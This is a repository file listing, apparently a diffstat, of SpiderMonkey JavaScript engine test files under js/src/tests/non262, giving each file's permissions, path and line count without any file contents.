-rw-r--r--js/src/tests/non262/eval/undeclared-name-in-nested-strict-eval.js26
-rw-r--r--js/src/tests/non262/execution-contexts/browser.js0
-rw-r--r--js/src/tests/non262/execution-contexts/regress-23346.js31
-rw-r--r--js/src/tests/non262/execution-contexts/regress-448595-01.js55
-rw-r--r--js/src/tests/non262/execution-contexts/shell.js0
-rw-r--r--js/src/tests/non262/expressions/11.1.5-01.js37
-rw-r--r--js/src/tests/non262/expressions/ToPropertyKey-symbols.js90
-rw-r--r--js/src/tests/non262/expressions/binary-literals.js115
-rw-r--r--js/src/tests/non262/expressions/browser.js0
-rw-r--r--js/src/tests/non262/expressions/computed-property-side-effects.js35
-rw-r--r--js/src/tests/non262/expressions/constant-folded-labeled-statement.js14
-rw-r--r--js/src/tests/non262/expressions/delete-constant-folded-and-or.js41
-rw-r--r--js/src/tests/non262/expressions/delete-name-parenthesized-early-error-strict-mode.js76
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-call.js10
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-class.js72
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-function-nested.js11
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-function.js11
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-simple.js16
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-default-yield.js22
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-done.js319
-rw-r--r--js/src/tests/non262/expressions/destructuring-array-lexical.js12
-rw-r--r--js/src/tests/non262/expressions/destructuring-object-__proto__-1.js82
-rw-r--r--js/src/tests/non262/expressions/destructuring-object-__proto__-2.js94
-rw-r--r--js/src/tests/non262/expressions/destructuring-pattern-parenthesized.js137
-rw-r--r--js/src/tests/non262/expressions/destructuring-scope.js67
-rw-r--r--js/src/tests/non262/expressions/exponentiation-unparenthesised-unary.js106
-rw-r--r--js/src/tests/non262/expressions/inNotObjectError.js46
-rw-r--r--js/src/tests/non262/expressions/named-accessor-function.js49
-rw-r--r--js/src/tests/non262/expressions/nested-delete-name-in-evalcode.js163
-rw-r--r--js/src/tests/non262/expressions/nullish-coalescing.js112
-rw-r--r--js/src/tests/non262/expressions/object-literal-__proto__.js267
-rw-r--r--js/src/tests/non262/expressions/object-literal-accessor-arguments.js42
-rw-r--r--js/src/tests/non262/expressions/object-literal-accessor-property-name.js29
-rw-r--r--js/src/tests/non262/expressions/object-literal-computed-property-evaluation.js38
-rw-r--r--js/src/tests/non262/expressions/octal-literals.js103
-rw-r--r--js/src/tests/non262/expressions/optional-chain-class-heritage.js10
-rw-r--r--js/src/tests/non262/expressions/optional-chain-first-expression.js92
-rw-r--r--js/src/tests/non262/expressions/optional-chain-super-elem.js12
-rw-r--r--js/src/tests/non262/expressions/optional-chain-tdz.js28
-rw-r--r--js/src/tests/non262/expressions/optional-chain.js263
-rw-r--r--js/src/tests/non262/expressions/primitive-this-boxing-behavior.js106
-rw-r--r--js/src/tests/non262/expressions/regress-192288.js82
-rw-r--r--js/src/tests/non262/expressions/regress-346203.js25
-rw-r--r--js/src/tests/non262/expressions/regress-346645-01.js31
-rw-r--r--js/src/tests/non262/expressions/regress-346645-02.js31
-rw-r--r--js/src/tests/non262/expressions/regress-346645-03.js31
-rw-r--r--js/src/tests/non262/expressions/regress-394673.js49
-rw-r--r--js/src/tests/non262/expressions/regress-418051.js31
-rw-r--r--js/src/tests/non262/expressions/regress-451340.js24
-rw-r--r--js/src/tests/non262/expressions/regress-96526-argsub.js88
-rw-r--r--js/src/tests/non262/expressions/regress-96526-delelem.js88
-rw-r--r--js/src/tests/non262/expressions/regress-96526-noargsub.js88
-rw-r--r--js/src/tests/non262/expressions/shell.js288
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-anon-fns.js42
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-const.js90
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-deleted-decl-binding.js65
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-property-key-evaluation.js68
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-scope-lookup.js191
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment-tdz.js56
-rw-r--r--js/src/tests/non262/expressions/short-circuit-compound-assignment.js265
-rw-r--r--js/src/tests/non262/expressions/string-literal-escape-sequences.js146
-rw-r--r--js/src/tests/non262/expressions/tagged-template-constant-folding.js28
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_arguments.js85
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_arrow.js108
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_getter_setter.js88
-rw-r--r--js/src/tests/non262/expressions/trailing_comma_parameters.js165
-rw-r--r--js/src/tests/non262/extensions/15.9.4.2.js56
-rw-r--r--js/src/tests/non262/extensions/8.12.5-01.js70
-rw-r--r--js/src/tests/non262/extensions/ArrayBuffer-slice-arguments-detaching.js80
-rw-r--r--js/src/tests/non262/extensions/Boolean-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/DataView-construct-arguments-detaching.js80
-rw-r--r--js/src/tests/non262/extensions/DataView-set-arguments-detaching.js84
-rw-r--r--js/src/tests/non262/extensions/Number-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/RegExp-error-message-skip-selfhosted-frames.js11
-rw-r--r--js/src/tests/non262/extensions/String-match-flags.js27
-rw-r--r--js/src/tests/non262/extensions/String-methods-infinite-recursion.js36
-rw-r--r--js/src/tests/non262/extensions/String-toSource.js16
-rw-r--r--js/src/tests/non262/extensions/TypedArray-set-object-funky-length-detaches.js55
-rw-r--r--js/src/tests/non262/extensions/TypedArray-subarray-arguments-detaching.js111
-rw-r--r--js/src/tests/non262/extensions/__proto__.js53
-rw-r--r--js/src/tests/non262/extensions/arguments-property-access-in-function.js58
-rw-r--r--js/src/tests/non262/extensions/array-inherited-__proto__.js32
-rw-r--r--js/src/tests/non262/extensions/array-isArray-proxy-recursion.js41
-rw-r--r--js/src/tests/non262/extensions/array-length-protochange.js35
-rw-r--r--js/src/tests/non262/extensions/array-pop-proxy.js24
-rw-r--r--js/src/tests/non262/extensions/array-toString-recursion.js46
-rw-r--r--js/src/tests/non262/extensions/arraybuffer-prototype.js28
-rw-r--r--js/src/tests/non262/extensions/bad-regexp-data-clone.js20
-rw-r--r--js/src/tests/non262/extensions/basic-for-each.js58
-rw-r--r--js/src/tests/non262/extensions/basic-for-in.js46
-rw-r--r--js/src/tests/non262/extensions/browser.js6
-rw-r--r--js/src/tests/non262/extensions/bug472534.js30
-rw-r--r--js/src/tests/non262/extensions/builtin-function-arguments-caller.js60
-rw-r--r--js/src/tests/non262/extensions/censor-strict-caller.js15
-rw-r--r--js/src/tests/non262/extensions/clone-bigint.js20
-rw-r--r--js/src/tests/non262/extensions/clone-complex-object.js313
-rw-r--r--js/src/tests/non262/extensions/clone-errors.js110
-rw-r--r--js/src/tests/non262/extensions/clone-forge.js39
-rw-r--r--js/src/tests/non262/extensions/clone-invalid-property-key.js22
-rw-r--r--js/src/tests/non262/extensions/clone-leaf-object.js68
-rw-r--r--js/src/tests/non262/extensions/clone-many-transferables.js25
-rw-r--r--js/src/tests/non262/extensions/clone-object-deep.js25
-rw-r--r--js/src/tests/non262/extensions/clone-object.js143
-rw-r--r--js/src/tests/non262/extensions/clone-regexp.js36
-rw-r--r--js/src/tests/non262/extensions/clone-sab-failure.js39
-rw-r--r--js/src/tests/non262/extensions/clone-sab.js31
-rw-r--r--js/src/tests/non262/extensions/clone-simple.js33
-rw-r--r--js/src/tests/non262/extensions/clone-transferables.js129
-rw-r--r--js/src/tests/non262/extensions/clone-typed-array.js104
-rw-r--r--js/src/tests/non262/extensions/clone-v1-typed-array-data.dat32
-rw-r--r--js/src/tests/non262/extensions/clone-v1-typed-array.js130
-rw-r--r--js/src/tests/non262/extensions/collect-gray.js153
-rw-r--r--js/src/tests/non262/extensions/column-numbers.js10
-rw-r--r--js/src/tests/non262/extensions/cross-global-eval-is-indirect.js60
-rw-r--r--js/src/tests/non262/extensions/cross-global-getPrototypeOf.js55
-rw-r--r--js/src/tests/non262/extensions/dataview.js1647
-rw-r--r--js/src/tests/non262/extensions/decompile-for-of.js27
-rw-r--r--js/src/tests/non262/extensions/destructure-accessor.js75
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment-before-var.js49
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-shorthand-assignment.js49
-rw-r--r--js/src/tests/non262/extensions/destructuring-__proto__-target-assignment.js50
-rw-r--r--js/src/tests/non262/extensions/destructuring-for-inof-__proto__.js85
-rw-r--r--js/src/tests/non262/extensions/destructuring-order.js150
-rw-r--r--js/src/tests/non262/extensions/element-setting-ToNumber-detaches.js35
-rw-r--r--js/src/tests/non262/extensions/empty.txt0
-rw-r--r--js/src/tests/non262/extensions/error-tostring-function.js45
-rw-r--r--js/src/tests/non262/extensions/errorcolumnblame.js79
-rw-r--r--js/src/tests/non262/extensions/es5ish-defineGetter-defineSetter.js281
-rw-r--r--js/src/tests/non262/extensions/eval-native-callback-is-indirect.js33
-rw-r--r--js/src/tests/non262/extensions/expression-closure-syntax.js62
-rw-r--r--js/src/tests/non262/extensions/extension-methods-reject-null-undefined-this.js105
-rw-r--r--js/src/tests/non262/extensions/file-mapped-arraybuffers.js48
-rw-r--r--js/src/tests/non262/extensions/file-mapped-arraybuffers.txt1
-rw-r--r--js/src/tests/non262/extensions/for-loop-with-lexical-declaration-and-nested-function-statement.js130
-rw-r--r--js/src/tests/non262/extensions/function-caller-skips-eval-frames.js34
-rw-r--r--js/src/tests/non262/extensions/function-caller-strict-cross-global.js16
-rw-r--r--js/src/tests/non262/extensions/function-definition-with.js56
-rw-r--r--js/src/tests/non262/extensions/function-properties.js21
-rw-r--r--js/src/tests/non262/extensions/getOwnPropertyNames-__proto__.js26
-rw-r--r--js/src/tests/non262/extensions/getset-001.js49
-rw-r--r--js/src/tests/non262/extensions/getset-003.js186
-rw-r--r--js/src/tests/non262/extensions/getset-004.js174
-rw-r--r--js/src/tests/non262/extensions/getset-005.js183
-rw-r--r--js/src/tests/non262/extensions/getset-006.js157
-rw-r--r--js/src/tests/non262/extensions/inc-dec-functioncall.js90
-rw-r--r--js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js99
-rw-r--r--js/src/tests/non262/extensions/keyword-unescaped-requirement.js43
-rw-r--r--js/src/tests/non262/extensions/mutable-proto-special-form.js91
-rw-r--r--js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js85
-rw-r--r--js/src/tests/non262/extensions/new-cross-compartment.js39
-rw-r--r--js/src/tests/non262/extensions/new-parenthesization.js21
-rw-r--r--js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js94
-rw-r--r--js/src/tests/non262/extensions/non_syntactic.js39
-rw-r--r--js/src/tests/non262/extensions/object-toSource-override-on-getter.js14
-rw-r--r--js/src/tests/non262/extensions/object-toSource-undefined-getter.js11
-rw-r--r--js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js16
-rw-r--r--js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js27
-rw-r--r--js/src/tests/non262/extensions/preventExtensions-cross-global.js49
-rw-r--r--js/src/tests/non262/extensions/proxy-array-target-length-definition.js55
-rw-r--r--js/src/tests/non262/extensions/proxy-enumeration.js4
-rw-r--r--js/src/tests/non262/extensions/proxy-proto-setter.js50
-rw-r--r--js/src/tests/non262/extensions/proxy-strict.js12
-rw-r--r--js/src/tests/non262/extensions/quote-string-for-nul-character.js94
-rw-r--r--js/src/tests/non262/extensions/recursion.js60
-rw-r--r--js/src/tests/non262/extensions/redeclaration-of-catch-warning.js37
-rw-r--r--js/src/tests/non262/extensions/reentrant-RegExp-creation-and-gc-during-new-RegExp-pattern-ToString.js41
-rw-r--r--js/src/tests/non262/extensions/regress-103087.js141
-rw-r--r--js/src/tests/non262/extensions/regress-104077.js195
-rw-r--r--js/src/tests/non262/extensions/regress-178722.js90
-rw-r--r--js/src/tests/non262/extensions/regress-188206-01.js71
-rw-r--r--js/src/tests/non262/extensions/regress-188206-02.js121
-rw-r--r--js/src/tests/non262/extensions/regress-192465.js122
-rw-r--r--js/src/tests/non262/extensions/regress-220367-002.js75
-rw-r--r--js/src/tests/non262/extensions/regress-226078.js33
-rw-r--r--js/src/tests/non262/extensions/regress-228087.js316
-rw-r--r--js/src/tests/non262/extensions/regress-245148.js20
-rw-r--r--js/src/tests/non262/extensions/regress-255245.js29
-rw-r--r--js/src/tests/non262/extensions/regress-274152.js48
-rw-r--r--js/src/tests/non262/extensions/regress-300079.js42
-rw-r--r--js/src/tests/non262/extensions/regress-311161.js1440
-rw-r--r--js/src/tests/non262/extensions/regress-311792-01.js26
-rw-r--r--js/src/tests/non262/extensions/regress-311792-02.js40
-rw-r--r--js/src/tests/non262/extensions/regress-313763.js46
-rw-r--r--js/src/tests/non262/extensions/regress-314874.js35
-rw-r--r--js/src/tests/non262/extensions/regress-315509-02.js42
-rw-r--r--js/src/tests/non262/extensions/regress-319683.js31
-rw-r--r--js/src/tests/non262/extensions/regress-320854.js20
-rw-r--r--js/src/tests/non262/extensions/regress-327170.js25
-rw-r--r--js/src/tests/non262/extensions/regress-327608.js42
-rw-r--r--js/src/tests/non262/extensions/regress-328443.js32
-rw-r--r--js/src/tests/non262/extensions/regress-330569.js91
-rw-r--r--js/src/tests/non262/extensions/regress-333541.js59
-rw-r--r--js/src/tests/non262/extensions/regress-336409-1.js50
-rw-r--r--js/src/tests/non262/extensions/regress-336409-2.js49
-rw-r--r--js/src/tests/non262/extensions/regress-336410-1.js50
-rw-r--r--js/src/tests/non262/extensions/regress-336410-2.js49
-rw-r--r--js/src/tests/non262/extensions/regress-339685.js27
-rw-r--r--js/src/tests/non262/extensions/regress-341956-01.js65
-rw-r--r--js/src/tests/non262/extensions/regress-341956-02.js52
-rw-r--r--js/src/tests/non262/extensions/regress-341956-03.js69
-rw-r--r--js/src/tests/non262/extensions/regress-342960.js43
-rw-r--r--js/src/tests/non262/extensions/regress-345967.js65
-rw-r--r--js/src/tests/non262/extensions/regress-346642-06.js59
-rw-r--r--js/src/tests/non262/extensions/regress-346773.js49
-rw-r--r--js/src/tests/non262/extensions/regress-350312-01.js43
-rw-r--r--js/src/tests/non262/extensions/regress-350312.js66
-rw-r--r--js/src/tests/non262/extensions/regress-351070-02.js65
-rw-r--r--js/src/tests/non262/extensions/regress-351448.js59
-rw-r--r--js/src/tests/non262/extensions/regress-351463-01.js250
-rw-r--r--js/src/tests/non262/extensions/regress-351973.js50
-rw-r--r--js/src/tests/non262/extensions/regress-352291.js38
-rw-r--r--js/src/tests/non262/extensions/regress-352372.js62
-rw-r--r--js/src/tests/non262/extensions/regress-352604.js30
-rw-r--r--js/src/tests/non262/extensions/regress-353116.js75
-rw-r--r--js/src/tests/non262/extensions/regress-353214-02.js27
-rw-r--r--js/src/tests/non262/extensions/regress-354297.js27
-rw-r--r--js/src/tests/non262/extensions/regress-355052-01.js34
-rw-r--r--js/src/tests/non262/extensions/regress-355052-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-355052-03.js40
-rw-r--r--js/src/tests/non262/extensions/regress-355410.js37
-rw-r--r--js/src/tests/non262/extensions/regress-355497.js58
-rw-r--r--js/src/tests/non262/extensions/regress-363040-01.js62
-rw-r--r--js/src/tests/non262/extensions/regress-363040-02.js61
-rw-r--r--js/src/tests/non262/extensions/regress-363258.js45
-rw-r--r--js/src/tests/non262/extensions/regress-363988.js44
-rw-r--r--js/src/tests/non262/extensions/regress-365527.js63
-rw-r--r--js/src/tests/non262/extensions/regress-365692.js40
-rw-r--r--js/src/tests/non262/extensions/regress-365869.js35
-rw-r--r--js/src/tests/non262/extensions/regress-366288.js18
-rw-r--r--js/src/tests/non262/extensions/regress-366292.js19
-rw-r--r--js/src/tests/non262/extensions/regress-366396.js17
-rw-r--r--js/src/tests/non262/extensions/regress-366668-01.js28
-rw-r--r--js/src/tests/non262/extensions/regress-367501-01.js32
-rw-r--r--js/src/tests/non262/extensions/regress-367501-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-367501-03.js35
-rw-r--r--js/src/tests/non262/extensions/regress-367501-04.js35
-rw-r--r--js/src/tests/non262/extensions/regress-367589.js39
-rw-r--r--js/src/tests/non262/extensions/regress-368213.js17
-rw-r--r--js/src/tests/non262/extensions/regress-368224.js25
-rw-r--r--js/src/tests/non262/extensions/regress-368516.js41
-rw-r--r--js/src/tests/non262/extensions/regress-369404.js39
-rw-r--r--js/src/tests/non262/extensions/regress-369696-01.js30
-rw-r--r--js/src/tests/non262/extensions/regress-369696-02.js57
-rw-r--r--js/src/tests/non262/extensions/regress-369696-03.js46
-rw-r--r--js/src/tests/non262/extensions/regress-372309.js37
-rw-r--r--js/src/tests/non262/extensions/regress-375183.js59
-rw-r--r--js/src/tests/non262/extensions/regress-375344.js34
-rw-r--r--js/src/tests/non262/extensions/regress-379566.js44
-rw-r--r--js/src/tests/non262/extensions/regress-380889.js37
-rw-r--r--js/src/tests/non262/extensions/regress-381303.js34
-rw-r--r--js/src/tests/non262/extensions/regress-381304.js69
-rw-r--r--js/src/tests/non262/extensions/regress-385393-02.js31
-rw-r--r--js/src/tests/non262/extensions/regress-385393-08.js25
-rw-r--r--js/src/tests/non262/extensions/regress-390598.js31
-rw-r--r--js/src/tests/non262/extensions/regress-394967.js39
-rw-r--r--js/src/tests/non262/extensions/regress-396326-01.js34
-rw-r--r--js/src/tests/non262/extensions/regress-396326.js45
-rw-r--r--js/src/tests/non262/extensions/regress-406572.js47
-rw-r--r--js/src/tests/non262/extensions/regress-407501.js39
-rw-r--r--js/src/tests/non262/extensions/regress-407720.js44
-rw-r--r--js/src/tests/non262/extensions/regress-412926.js54
-rw-r--r--js/src/tests/non262/extensions/regress-414098.js34
-rw-r--r--js/src/tests/non262/extensions/regress-414755.js51
-rw-r--r--js/src/tests/non262/extensions/regress-416354.js45
-rw-r--r--js/src/tests/non262/extensions/regress-416460.js27
-rw-r--r--js/src/tests/non262/extensions/regress-416834.js20
-rw-r--r--js/src/tests/non262/extensions/regress-420869-01.js37
-rw-r--r--js/src/tests/non262/extensions/regress-422592.js65
-rw-r--r--js/src/tests/non262/extensions/regress-424683-01.js33
-rw-r--r--js/src/tests/non262/extensions/regress-426711.js31
-rw-r--r--js/src/tests/non262/extensions/regress-427196-01.js37
-rw-r--r--js/src/tests/non262/extensions/regress-427196-02.js34
-rw-r--r--js/src/tests/non262/extensions/regress-427196-03.js28
-rw-r--r--js/src/tests/non262/extensions/regress-429739.js33
-rw-r--r--js/src/tests/non262/extensions/regress-430740.js36
-rw-r--r--js/src/tests/non262/extensions/regress-434837-01.js87
-rw-r--r--js/src/tests/non262/extensions/regress-435497-01.js31
-rw-r--r--js/src/tests/non262/extensions/regress-435497-02.js31
-rw-r--r--js/src/tests/non262/extensions/regress-435497-03.js31
-rw-r--r--js/src/tests/non262/extensions/regress-436741.js32
-rw-r--r--js/src/tests/non262/extensions/regress-437288-01.js32
-rw-r--r--js/src/tests/non262/extensions/regress-44009.js51
-rw-r--r--js/src/tests/non262/extensions/regress-443569.js35
-rw-r--r--js/src/tests/non262/extensions/regress-446386.js44
-rw-r--r--js/src/tests/non262/extensions/regress-452168.js39
-rw-r--r--js/src/tests/non262/extensions/regress-452178.js27
-rw-r--r--js/src/tests/non262/extensions/regress-452329.js24
-rw-r--r--js/src/tests/non262/extensions/regress-452338.js26
-rw-r--r--js/src/tests/non262/extensions/regress-452498-162.js24
-rw-r--r--js/src/tests/non262/extensions/regress-452498-196.js32
-rw-r--r--js/src/tests/non262/extensions/regress-452565.js19
-rw-r--r--js/src/tests/non262/extensions/regress-452913.js18
-rw-r--r--js/src/tests/non262/extensions/regress-453249.js21
-rw-r--r--js/src/tests/non262/extensions/regress-454744.js32
-rw-r--r--js/src/tests/non262/extensions/regress-455380.js60
-rw-r--r--js/src/tests/non262/extensions/regress-455408.js26
-rw-r--r--js/src/tests/non262/extensions/regress-456826.js126
-rw-r--r--js/src/tests/non262/extensions/regress-459606.js26
-rw-r--r--js/src/tests/non262/extensions/regress-462734-02.js26
-rw-r--r--js/src/tests/non262/extensions/regress-462734-03.js25
-rw-r--r--js/src/tests/non262/extensions/regress-462734-04.js29
-rw-r--r--js/src/tests/non262/extensions/regress-465276.js29
-rw-r--r--js/src/tests/non262/extensions/regress-465337.js28
-rw-r--r--js/src/tests/non262/extensions/regress-465443.js36
-rw-r--r--js/src/tests/non262/extensions/regress-465453.js38
-rw-r--r--js/src/tests/non262/extensions/regress-466905-04.js46
-rw-r--r--js/src/tests/non262/extensions/regress-469234.js27
-rw-r--r--js/src/tests/non262/extensions/regress-469405-01.js27
-rw-r--r--js/src/tests/non262/extensions/regress-469405-02.js25
-rw-r--r--js/src/tests/non262/extensions/regress-469625-01.js39
-rw-r--r--js/src/tests/non262/extensions/regress-469625.js28
-rw-r--r--js/src/tests/non262/extensions/regress-469761.js28
-rw-r--r--js/src/tests/non262/extensions/regress-470300-01.js27
-rw-r--r--js/src/tests/non262/extensions/regress-470300-02.js27
-rw-r--r--js/src/tests/non262/extensions/regress-470310.js30
-rw-r--r--js/src/tests/non262/extensions/regress-472450-03.js31
-rw-r--r--js/src/tests/non262/extensions/regress-472450-04.js33
-rw-r--r--js/src/tests/non262/extensions/regress-472599.js29
-rw-r--r--js/src/tests/non262/extensions/regress-473040.js25
-rw-r--r--js/src/tests/non262/extensions/regress-474771-01.js29
-rw-r--r--js/src/tests/non262/extensions/regress-474771-02.js20
-rw-r--r--js/src/tests/non262/extensions/regress-476414-01.js61
-rw-r--r--js/src/tests/non262/extensions/regress-476414-02.js61
-rw-r--r--js/src/tests/non262/extensions/regress-476447.js30
-rw-r--r--js/src/tests/non262/extensions/regress-476653.js33
-rw-r--r--js/src/tests/non262/extensions/regress-476869.js42
-rw-r--r--js/src/tests/non262/extensions/regress-477158.js28
-rw-r--r--js/src/tests/non262/extensions/regress-477187.js38
-rw-r--r--js/src/tests/non262/extensions/regress-479487.js41
-rw-r--r--js/src/tests/non262/extensions/regress-479551.js39
-rw-r--r--js/src/tests/non262/extensions/regress-480579.js35
-rw-r--r--js/src/tests/non262/extensions/regress-481516.js38
-rw-r--r--js/src/tests/non262/extensions/regress-482263.js26
-rw-r--r--js/src/tests/non262/extensions/regress-50447-1.js179
-rw-r--r--js/src/tests/non262/extensions/regress-543839.js36
-rw-r--r--js/src/tests/non262/extensions/regress-591450.js12
-rw-r--r--js/src/tests/non262/extensions/regress-636818.js9
-rw-r--r--js/src/tests/non262/extensions/regress-645160.js8
-rw-r--r--js/src/tests/non262/extensions/regress-650753.js8
-rw-r--r--js/src/tests/non262/extensions/regress-696109.js13
-rw-r--r--js/src/tests/non262/extensions/regress-90596-001.js264
-rw-r--r--js/src/tests/non262/extensions/regress-96284-001.js147
-rw-r--r--js/src/tests/non262/extensions/regress-bug607284.js16
-rw-r--r--js/src/tests/non262/extensions/regress-bug629723.js16
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array-ccw.js39
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array-nonnative.js46
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-array.js39
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object-ccw.js56
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object-nonnative.js60
-rw-r--r--js/src/tests/non262/extensions/reviver-mutates-holder-object.js56
-rw-r--r--js/src/tests/non262/extensions/scope-001.js84
-rw-r--r--js/src/tests/non262/extensions/set-property-non-extensible.js30
-rw-r--r--js/src/tests/non262/extensions/setImmutablePrototype.js196
-rw-r--r--js/src/tests/non262/extensions/shareddataview.js43
-rw-r--r--js/src/tests/non262/extensions/sharedtypedarray.js273
-rw-r--r--js/src/tests/non262/extensions/shell.js345
-rw-r--r--js/src/tests/non262/extensions/sps-generators.js39
-rw-r--r--js/src/tests/non262/extensions/string-literal-getter-setter-decompilation.js34
-rw-r--r--js/src/tests/non262/extensions/toLength.js41
-rw-r--r--js/src/tests/non262/extensions/toLocaleString-infinite-recursion.js31
-rw-r--r--js/src/tests/non262/extensions/toSource-infinite-recursion.js36
-rw-r--r--js/src/tests/non262/extensions/too-many-arguments-constructing-bound-function.js54
-rw-r--r--js/src/tests/non262/extensions/typedarray-copyWithin-arguments-detaching.js111
-rw-r--r--js/src/tests/non262/extensions/typedarray-set-neutering.js45
-rw-r--r--js/src/tests/non262/extensions/typedarray-subarray-of-subarray.js33
-rw-r--r--js/src/tests/non262/extensions/typedarray.js657
-rw-r--r--js/src/tests/non262/extensions/uneval/bug496985.js14
-rw-r--r--js/src/tests/non262/extensions/uneval/bug566661.js8
-rw-r--r--js/src/tests/non262/extensions/uneval/function-bind.js32
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-231518.js99
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-245795.js33
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-254375.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-304897.js22
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-306738.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-311583.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-313803.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-322957.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-328556.js21
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-01.js31
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-02.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-03.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-04.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-05.js31
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-358594-06.js23
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-367629.js45
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-375801.js35
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-380581.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-380933.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-381211.js28
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-381301.js39
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-385393-03.js29
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-385729.js58
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-082.js33
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-101.js30
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-452498-117.js35
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-621814.js15
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-624199.js19
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-90596-002.js264
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-96284-002.js147
-rw-r--r--js/src/tests/non262/extensions/uneval/regress-bug567606.js21
-rw-r--r--js/src/tests/non262/extensions/uneval/strict-function-toSource.js19
-rw-r--r--js/src/tests/non262/extensions/uneval/symbol-uneval.js15
-rw-r--r--js/src/tests/non262/extensions/uneval/toSource-0.js16
-rw-r--r--js/src/tests/non262/extensions/unterminated-literal-error-location.js119
-rw-r--r--js/src/tests/non262/extensions/weakmap.js121
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-1.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-2.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-module-3.js3
-rw-r--r--js/src/tests/non262/fields/await-identifier-script.js22
-rw-r--r--js/src/tests/non262/fields/browser.js0
-rw-r--r--js/src/tests/non262/fields/bug1587574.js14
-rw-r--r--js/src/tests/non262/fields/init-order.js25
-rw-r--r--js/src/tests/non262/fields/numeric-fields.js14
-rw-r--r--js/src/tests/non262/fields/scopes.js11
-rw-r--r--js/src/tests/non262/fields/shell.js0
-rw-r--r--js/src/tests/non262/fields/unimplemented.js57
-rw-r--r--js/src/tests/non262/generators/326466-01.js45
-rw-r--r--js/src/tests/non262/generators/browser.js0
-rw-r--r--js/src/tests/non262/generators/construct-newtarget.js79
-rw-r--r--js/src/tests/non262/generators/create-function-parse-before-getprototype.js19
-rw-r--r--js/src/tests/non262/generators/delegating-yield-1.js42
-rw-r--r--js/src/tests/non262/generators/delegating-yield-10.js49
-rw-r--r--js/src/tests/non262/generators/delegating-yield-11.js20
-rw-r--r--js/src/tests/non262/generators/delegating-yield-12.js49
-rw-r--r--js/src/tests/non262/generators/delegating-yield-2.js73
-rw-r--r--js/src/tests/non262/generators/delegating-yield-3.js44
-rw-r--r--js/src/tests/non262/generators/delegating-yield-4.js18
-rw-r--r--js/src/tests/non262/generators/delegating-yield-5.js37
-rw-r--r--js/src/tests/non262/generators/delegating-yield-6.js56
-rw-r--r--js/src/tests/non262/generators/delegating-yield-7.js38
-rw-r--r--js/src/tests/non262/generators/delegating-yield-8.js44
-rw-r--r--js/src/tests/non262/generators/delegating-yield-9.js37
-rw-r--r--js/src/tests/non262/generators/fibonacci-matrix-generator.js62
-rw-r--r--js/src/tests/non262/generators/forbidden-as-consequent.js11
-rw-r--r--js/src/tests/non262/generators/gen-with-call-obj.js36
-rw-r--r--js/src/tests/non262/generators/iteration.js574
-rw-r--r--js/src/tests/non262/generators/iterator-next-non-object.js64
-rw-r--r--js/src/tests/non262/generators/iterator-toString.js41
-rw-r--r--js/src/tests/non262/generators/nested-yield.js44
-rw-r--r--js/src/tests/non262/generators/objects.js49
-rw-r--r--js/src/tests/non262/generators/pi-generator.js57
-rw-r--r--js/src/tests/non262/generators/properties.js111
